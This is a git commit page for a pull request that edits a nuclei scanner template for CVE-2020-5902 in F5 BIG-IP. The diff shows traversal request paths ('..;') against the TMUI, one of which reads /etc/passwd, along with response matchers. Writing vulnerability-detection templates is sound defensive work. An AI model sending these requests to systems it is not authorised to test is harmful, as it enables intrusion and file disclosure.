Merge pull request #194 from Mad-robot/master

Update CVE-2020-5902.yaml
patch-1
bauthard 2020-07-05 21:50:21 +05:30 committed by GitHub
commit 22c21c3b4a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 9 deletions

View File

@ -8,21 +8,12 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "jaffa"
- "Tabset"
- "success"
condition: and
part: body
- type: regex
regex:
- "root:[x*]:0:0:"